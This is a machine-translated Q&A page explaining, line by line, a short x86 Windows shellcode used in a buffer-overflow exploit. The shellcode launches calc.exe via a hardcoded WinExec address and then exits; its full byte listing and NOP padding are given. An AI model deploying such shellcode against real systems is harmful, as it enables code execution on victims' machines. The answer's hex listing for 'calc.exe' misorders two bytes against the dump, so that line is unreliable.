Ann*_*dyo -1 windows x86 assembly exploit shellcode
我有一个shellcode.它在我的缓冲区溢出程序中打开计算器.
0: eb 16 jmp 0x18
2: 5b pop ebx
3: 31 c0 xor eax,eax
5: 50 push eax
6: 53 push ebx
7: bb 4d 11 86 7c mov ebx,0x7c86114d
c: ff d3 call ebx
e: 31 c0 xor eax,eax
10: 50 push eax
11: bb ea cd 81 7c mov ebx,0x7c81cdea
16: ff d3 call ebx
18: e8 e5 ff ff ff call 0x2
1d: 63 61 6c arpl WORD PTR [ecx+0x6c],sp
20: 63 2e arpl WORD PTR [esi],bp
22: 65 78 65 gs js 0x8a
25: 00 90 90 90 90 90 add BYTE PTR [eax-0x6f6f6f70],dl
2b: 90 nop
2c: 90 nop
2d: 90 nop
2e: 90 nop
2f: 90 nop
Run Code Online (Sandbox Code Playgroud)
除了主要问题是"这个shellcode一行一行",我特别感兴趣:
这jmp 0x18是一个相对跳转到偏移量0x18,这实际上是代码的结尾.然后它调用地址0x2(再次,相对).此调用将"返回地址"放在堆栈上,因此可以从中弹出它,为您提供有关正在执行此相对shellcode的地址的线索.实际上,pop ebx偏移量0x2是从堆栈中获取地址.
我说0x18是代码的结尾,因为它之后的行是数据字节而不是asm操作码.这就是你看到的原因arpl.如果查看字节的十六进制值,您将看到:
calc.exe\0 ==> 0x63 0x61 0x63 0x6c 0x2e 0x65 0x78 0x65 0x00
Run Code Online (Sandbox Code Playgroud)
编辑:
shellcode的完整流程是:
jmp 0x18 - 跳转到shellcode的最后一条代码指令call 0x2 - 返回偏移量2,并将偏移量0x1D的地址存储在堆栈中pop ebx - ebx:=堆栈中的地址,这是字符串"calc.exe"的地址xor eax,eax - 将寄存器归零的通用操作码:eax:= 0push eax - 将值0作为未来函数调用的第二个参数push ebx - 将指针"calc.exe"作为未来函数调用的第一个参数mov ebx,0x7c86114d - ebx将是固定地址(可能是WinExec)call ebx - 调用函数:WinExec("calc.exe",0)xor eax,eax - 再次,eax:= 0push eax - 将值0作为未来函数调用的第一个参数mov ebx,0x7c81cdea - ebx将是固定地址(可能是退出)call ebx - 调用函数:exit(0)